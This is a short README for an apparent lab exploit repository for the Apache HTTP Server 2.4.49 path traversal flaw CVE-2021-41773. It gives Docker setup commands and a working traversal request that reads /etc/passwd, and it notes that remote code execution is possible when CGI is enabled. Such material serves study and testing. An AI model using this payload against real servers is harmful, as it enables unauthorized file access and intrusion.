
Exploit scripts for Apache HTTP Server 2.4.49 directory traversal vulnerability (CVE-2021-41773), enabling path traversal and potential RCE via crafted HTTP requests.
docker-compose up -d --build vuln-server-no-cgid
python no-cgid/exploit.py
docker-compose up -d --build vuln-server-cgid-sh
python cgid-sh/exploit.py
Directory traversal vulnerability in Apache HTTP Server 2.4.49. Occurs when Require all denied is not set.
When a URL encoded with %2e is received, it allows access to parent directories. Example: GET /cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
If CGI is enabled, RCE is possible.
Due to insufficient mitigation of this vulnerability, there is a vulnerability CVE-2021-42013 in Apache HTTP Server 2.4.50.